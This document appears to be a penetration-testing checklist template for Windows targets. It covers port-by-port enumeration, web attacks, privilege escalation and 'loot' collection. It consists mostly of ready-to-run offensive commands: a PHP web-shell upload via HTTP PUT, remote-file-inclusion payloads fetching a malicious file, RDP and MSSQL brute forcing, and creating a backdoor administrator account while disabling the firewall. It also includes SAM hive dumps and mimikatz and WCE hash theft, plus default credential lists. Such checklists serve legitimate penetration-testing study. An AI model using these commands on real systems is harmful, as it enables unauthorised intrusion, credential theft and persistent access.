Info-sheet
- DNS-Domain name:
- Host name:
- OS:
- Server:
- Workgroup:
- Windows domain:
- Services and ports:
INSERTTCPSCAN
Recon
Always start with a stealthy scan to avoid closing ports.
# Syn-scan
nmap -sS INSERTIPADDRESS
# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O
# Scan all ports, might take a while.
nmap INSERTIPADDRESS -p-
# Scan for UDP
nmap INSERTIPADDRESS -sU
unicornscan -mU -v -I INSERTIPADDRESS
# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772
# Monster scan
nmap INSERTIPADDRESS -p- -A -T4 -sC
Port 21 - FTP
- Name:
- Version:
- Anonymous login:
INSERTFTPTEST
nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS
Port 22 - SSH
- Name:
- Version:
- Protocol:
- RSA-key-fingerprint:
- Takes-password: If you have usernames test login with username:username
INSERTSSHCONNECT
Port 25
- Name:
- Version:
- VRFY:
- EXPN:
INSERTSMTPCONNECT
nc -nvv INSERTIPADDRESS 25
HELO foo<cr><lf>
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS
Port 110 - Pop3
- Name:
- Version:
INSERTPOP3CONNECT
Port 135 - MSRPC
Some versions are vulnerable.
nmap INSERTIPADDRESS --script=msrpc-enum
Exploit:
msf > use exploit/windows/dcerpc/ms03_026_dcom
Port 139/445 - SMB
- Name:
- Version:
- Domain/workgroup name:
- Domain-sid:
- Allows unauthenticated login:
nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445
enum4linux -a INSERTIPADDRESS
rpcclient -U "" INSERTIPADDRESS
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
Log in with shell:
winexe -U username //INSERTIPADDRESS "cmd.exe" --system
Port 161/162 UDP - SNMP
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS
snmp-check -t INSERTIPADDRESS -c public
# Common community strings
public
private
community
Port 554 - RTSP
Port 1030/1032/1033/1038
Used by RPC to connect in domain network. Usually nothing.
Port 1433 - MSSQL
- Version:
use auxiliary/scanner/mssql/mssql_ping
# Last options. Brute force.
scanner/mssql/mssql_login
# Log in to mssql
sqsh -S INSERTIPADDRESS -U sa
# Execute commands
xp_cmdshell 'date'
go
If you have credentials look in metasploit for other modules.
Port 1521 - Oracle
Name: Version: Password protected:
tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS
Port 2100 - Oracle XML DB
Can be accessed through ftp. Some default passwords here: https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm
- Name:
- Version:
Default logins:
sys:sys
scott:tiger
Port 2049 - NFS
showmount -e INSERTIPADDRESS
If you find anything you can mount it like this:
mount INSERTIPADDRESS:/ /tmp/NFS
mount -t INSERTIPADDRESS:/ /tmp/NFS
3306 - MySQL
- Name:
- Version:
mysql --host=INSERTIPADDRESS -u root -p
nmap -sV -Pn -vv -script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 INSERTIPADDRESS -p 3306
Port 3339 - Oracle web interface
- Basic info about web service (apache, nginx, IIS)
- Server:
- Scripting language:
- Apache Modules:
- IP-address:
- Domain-name address:
Port 3389 - Remote desktop
Test logging in to see what OS is running
rdesktop -u guest -p guest INSERTIPADDRESS -g 94%
# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
Port 80
- Server:
- Scripting language:
- Apache Modules:
- Domain-name address:
INSERTCURLHEADER
- Web application
- Name:
- Version:
# Nikto
nikto -h http://INSERTIPADDRESS
# Nikto with squid proxy
nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444
# Get header
curl -i INSERTIPADDRESS
# Get everything
curl -i -L INSERTIPADDRESS
# Check if it is possible to upload using put
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php
# Check for title and all links
dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix
Nikto scan
INSERTNIKTOSCAN
Url brute force
# Dirb
dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt
# Gobuster - remove relevant responde codes (403 for example)
gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
INSERTDIRBSCAN
Default/Weak login
Google documentation for default passwords and test them:
site:webapplication.com password
admin admin
admin password
admin <blank>
admin nameofservice
root root
root admin
root password
root nameofservice
<username if you have> password
<username if you have> admin
<username if you have> username
<username if you have> nameofservice
LFI/RFI
# Kadimus
/root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page=
# Bypass execution
http://INSERTIPADDRESS/index.php?page=php://filter/convert.base64-encode/resource=index
base64 -d savefile.php
# Bypass extension
http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt%00
http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt?
SQL-Injection
# Post
./sqlmap.py -r search-test.txt -p tfUPass
# Get
sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql
# Crawl
sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
Sql-login-bypass
- Open Burp-suite
- Make and intercept request
- Send to intruder
- Cluster attack
- Paste in sqlibypass-list (https://bobloblaw.gitbooks.io/security/content/sql-injections.html)
- Attack
- Check for response length variation
Password brute force - last resort
cewl
Port 443 - HTTPS
Heartbleed:
sslscan INSERTIPADDRESS:443
Vulnerability analysis
Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilities and features.
To try - List of possibilities
Add possible exploits here:
Find sploits - Searchsploit and google
Where there are many exploits for a software, use google. It will automatically sort it by popularity.
site:exploit-db.com apache 2.4.7
# Remove dos-exploits
searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"
# Only search the title (exclude the path), add the -t
searchsploit -t Apache | grep -v '/dos/'
'''''''''''''''''''''''''''''''''' PRIVESC '''''''''''''''''''''''''''''''''
Privilege escalation
Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order.
- Kernel exploits
- Cleartext password
- Reconfigure service parameters
- Inside service
- Program running as root
- Installed software
- Scheduled tasks
- Weak passwords
To-try list
Here you will add all possible leads. What to try.
Basic info
- OS:
- Version:
- Architecture:
- Current user:
- Hotfixes:
- Antivirus:
Users:
Localgroups:
systeminfo
set
hostname
net users
net user user1
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *
netsh firewall show state
netsh firewall show config
# Set path
set PATH=%PATH%;C:\xampp\php
Kernel exploits
# Look for hotfixes
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Search for exploits
site:exploit-db.com windows XX XX
Cleartext passwords
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Reconfigure service parameters
- Unquoted service paths
Check book for instructions
- Weak service permissions
Check book for instructions
Inside service
Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside.
# Meterpreter
run get_local_subnets
netstat /a
netstat -ano
Programs running as root/system
Installed software
# Metasploit
ps
tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY
Look in:
C:\Program files
C:\Program files (x86)
Home directory of the user
Scheduled tasks
schtasks /query /fo LIST /v
Check this file:
c:\WINDOWS\SchedLgU.Txt
Weak passwords
Remote desktop
ncrack -vv --user george -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
Useful commands
Add user and enable RDP
net user haxxor Haxxor123 /add
net localgroup Administrators haxxor /add
net localgroup "Remote Desktop Users" haxxor /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
----------------------------- LOOT LOOT LOOT LOOT -------------------
Loot
- Proof:
- Network secret:
- Password and hashes:
- Dualhomed:
- Tcpdump:
- Interesting files:
- Databases:
- SSH-keys:
- Browser:
Proof
Network secret
Passwords and hashes
wce32.exe -w
wce64.exe -w
fgdump.exe
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system
# Meterpreter
hashdump
load mimikatz
msv
Dualhomed
ipconfig /all
route print
# What other machines have been connected
arp -a
Tcpdump
# Meterpreter
run packetrecorder -li
run packetrecorder -i 1
Interesting files
#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt
# Recursive search
dir /s
Browser
- Browser start-page:
- Browser-history:
- Saved passwords: